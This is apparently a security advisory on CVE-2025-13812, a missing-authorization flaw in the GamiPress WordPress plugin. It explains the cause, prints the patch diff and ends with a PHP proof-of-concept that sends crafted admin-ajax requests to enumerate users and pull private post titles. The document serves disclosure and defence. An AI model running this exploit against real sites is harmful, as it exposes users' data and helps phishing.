Atomic Edge analysis of CVE-2025-13812:
This vulnerability is a missing authorization flaw in the GamiPress WordPress plugin. The issue allows authenticated users with Subscriber-level permissions or higher to access sensitive data via two AJAX functions, leading to user enumeration and private post title disclosure.
Atomic Edge research identifies the root cause as the absence of a capability check in two AJAX handler functions. The vulnerable functions are `gamipress_ajax_get_posts` and `gamipress_ajax_get_users`, located in the file `gamipress/includes/ajax-functions.php`. Before the patch, these functions performed a nonce check via `check_ajax_referer` but did not verify if the current user possessed the required administrative capability. This allowed any authenticated user to pass the nonce check and proceed with the function’s data retrieval logic.
An attacker can exploit this by sending a crafted POST request to the WordPress admin AJAX endpoint. The target URL is `/wp-admin/admin-ajax.php`. The attacker must be logged in with any role, such as Subscriber. The required parameter is `action` with a value of either `gamipress_get_posts` or `gamipress_get_users`. The request must also include a valid `nonce` parameter, which is obtainable by the authenticated user, and a `q` parameter for the search query. This allows the attacker to enumerate users and retrieve private post titles.
The patch adds a mandatory capability check to both vulnerable functions. In the patched version of `ajax-functions.php`, lines 184-186 and 269-271, the code now includes the condition `if( ! current_user_can( gamipress_get_manager_capability() ) ) { return; }`. This function `gamipress_get_manager_capability()` typically returns a high-level capability like `manage_options`. The fix ensures that only users with plugin management privileges can execute these AJAX actions, effectively blocking lower-privileged users.
Successful exploitation leads to information exposure. Attackers can enumerate all WordPress users, including their email addresses, which facilitates phishing campaigns or targeted attacks. They can also retrieve the titles of private posts, potentially revealing confidential information. This data leak violates confidentiality but does not directly allow modification or privilege escalation.
--- a/gamipress/gamipress.php
+++ b/gamipress/gamipress.php
@@ -3,7 +3,7 @@
* Plugin Name: GamiPress
* Plugin URI: https://gamipress.com
* Description: The most flexible and powerful gamification system for WordPress.
- * Version: 7.6.1
+ * Version: 7.6.2
* Author: GamiPress
* Author URI: https://gamipress.com/
* Text Domain: gamipress
@@ -121,7 +121,7 @@
private function constants() {
// Plugin version
- define( 'GAMIPRESS_VER', '7.6.1' );
+ define( 'GAMIPRESS_VER', '7.6.2' );
// Plugin file
define( 'GAMIPRESS_FILE', __FILE__ );
--- a/gamipress/includes/ajax-functions.php
+++ b/gamipress/includes/ajax-functions.php
@@ -182,6 +182,10 @@
// Security check, forces to die if not security passed
check_ajax_referer( 'gamipress_admin', 'nonce' );
+ if( ! current_user_can( gamipress_get_manager_capability() ) ) {
+ return;
+ }
+
// If no word query sent, initialize it
if ( ! isset( $_REQUEST['q'] ) ) {
$_REQUEST['q'] = '';
@@ -263,6 +267,10 @@
// Security check, forces to die if not security passed
check_ajax_referer( 'gamipress_admin', 'nonce' );
+ if( ! current_user_can( gamipress_get_manager_capability() ) ) {
+ return;
+ }
+
global $wpdb;
// Pull back the search string
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13812 - GamiPress – Gamification plugin to reward points, achievements, badges & ranks in WordPress <= 7.6.1 - Missing Authorization to Authenticated (Subscriber+) Information Exposure
<?php
// Configuration
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$username = 'subscriber'; // Attacker's low-privilege username
$password = 'password'; // Attacker's password
// Step 1: Authenticate to WordPress and obtain cookies and a nonce.
// The nonce for 'gamipress_admin' is often available on front-end pages for logged-in users.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
// First, perform a login to establish session. This is a simplified example.
// In a real scenario, you would POST to wp-login.php and handle redirects.
// For this PoC, we assume the attacker already has a valid session cookie.
// The script demonstrates the exploit request assuming valid auth cookies are in the jar.
// Step 2: Exploit the gamipress_ajax_get_users function to enumerate users.
$post_data = array(
'action' => 'gamipress_get_users',
'nonce' => 'GET_A_VALID_NONCE', // Replace with a nonce fetched from a page as an authenticated user.
'q' => 'a' // Search query to fetch users. Can be iterated with different letters.
);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo 'cURL Error: ' . curl_error($ch);
} else {
echo "Response for user enumeration:n";
echo $response;
echo "n";
}
// Step 3: Exploit the gamipress_ajax_get_posts function to get private post titles.
$post_data = array(
'action' => 'gamipress_get_posts',
'nonce' => 'GET_A_VALID_NONCE', // Same nonce as above.
'q' => 'private', // Search query for posts.
'post_type' => 'any' // Parameter to search all post types.
);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo 'cURL Error: ' . curl_error($ch);
} else {
echo "Response for post title retrieval:n";
echo $response;
}
curl_close($ch);
?>